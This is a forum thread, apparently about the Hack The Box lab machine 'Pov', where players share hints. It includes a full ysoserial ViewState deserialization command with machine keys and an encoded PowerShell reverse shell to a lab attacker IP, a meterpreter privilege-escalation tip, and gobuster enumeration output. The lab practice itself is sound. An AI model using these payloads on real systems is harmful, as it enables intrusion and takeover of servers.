[Pmloca19]

Thanks for sharing hints !!!

[yara]

i did every think but didnt work how i can conncet >? i did encoded and decoed and every posible way

[CubeMadness3]

Anyone knows a alternative to ysoserial.exe for some reason my rusty 4ss machine doesn't work with it, what i mean by rusty 4ss is "Ivy Bridge" cpu it did not work with ysoserial.exe so i'm looking for alternative to do the same thing. Anyone?

[youssefm55]

dev.pov.htb

hi sorry can I know how did you fuzz for that subdomain if I need it to be registered first in /etc/hosts file and I can find a DNS server to use as a resolver

[DIAMOND]

HOW TO GET ROOT FLAG?

[ballzach]

Anyone knows a alternative to ysoserial.exe for some reason my rusty 4ss machine doesn't work with it, what i mean by rusty 4ss is "Ivy Bridge" cpu it did not work with ysoserial.exe so i'm looking for alternative to do the same thing. Anyone?

use WINE on linux

i had a bitch of a time for 5 hours trying to use it one windows. flags as a virus first of all, then if you dont have OpenJDK / Java with fastJSON packages installed for dependancies, you're wasting your time.

i dont know if the ysoserial linux version works from github here, because it does not list the VIEWSTATE param as a payload.. ysoserial.exe does, so just run it on wine. 

you dont even have to open the GUI, you can runt he simple command from CLI in linux, and it's pre-installed on kali...

$ wine ysoserial.exe -p Viewstate -g TextFormattingRunProperties.. etc

PoC: Test Case: #4 (because it's .NET >=4.5 on the machine server)

[kokot0kokot0]

For administrator > take meterpreter session > try migrate any system process > will get NT Authority / System

[ArkhamKnight_47]

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -e cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxMC4xMC4xNC4xMTUnLDkwMDApOyRzdHJlYW0gPSAkY2xpZW50LkdldFN0cmVhbSgpO1tieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JXswfTt3aGlsZSgoJGkgPSAkc3RyZWFtLlJlYWQoJGJ5dGVzLCAwLCAkYnl0ZXMuTGVuZ3RoKSkgLW5lIDApezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICdQUyAnICsgKHB3ZCkuUGF0aCArICc+ICc7JHNlbmRieXRlID0gKFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKCRzZW5kYmFjazIpOyRzdHJlYW0uV3JpdGUoJHNlbmRieXRlLDAsJHNlbmRieXRlLkxlbmd0aCk7JHN0cmVhbS5GbHVzaCgpfTskY2xpZW50LkNsb3NlKCki" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"


is this the right way to do this , im doing it on windows yet payload wont give a reverse shell

[ggteaserjff]

dev.pov.htb

hi sorry can I know how did you fuzz for that subdomain if I need it to be registered first in /etc/hosts file and I can find a DNS server to use as a resolver

└─$ gobuster dns -w /usr/share/wordlists/SecLists-2023.2/Discovery/DNS/subdomains-top1million-5000.txt -d pov.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:    pov.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:  /usr/share/wordlists/SecLists-2023.2/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.pov.htb
                                                                                                                 
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

[youssefm55]

dev.pov.htb

hi sorry can I know how did you fuzz for that subdomain if I need it to be registered first in /etc/hosts file and I can find a DNS server to use as a resolver

└─$ gobuster dns -w /usr/share/wordlists/SecLists-2023.2/Discovery/DNS/subdomains-top1million-5000.txt -d pov.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:    pov.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:  /usr/share/wordlists/SecLists-2023.2/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.pov.htb
                                                                                                                 
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

I dont know how that worked for you here's mine when I tried
gobuster dns -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -d pov.htb
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:    pov.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:  /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
2024/01/29 19:36:45 Starting gobuster in DNS enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
2024/01/29 19:37:54 Finished
===============================================================

I didnt eventually find it by using vhost mode and setting append domain to true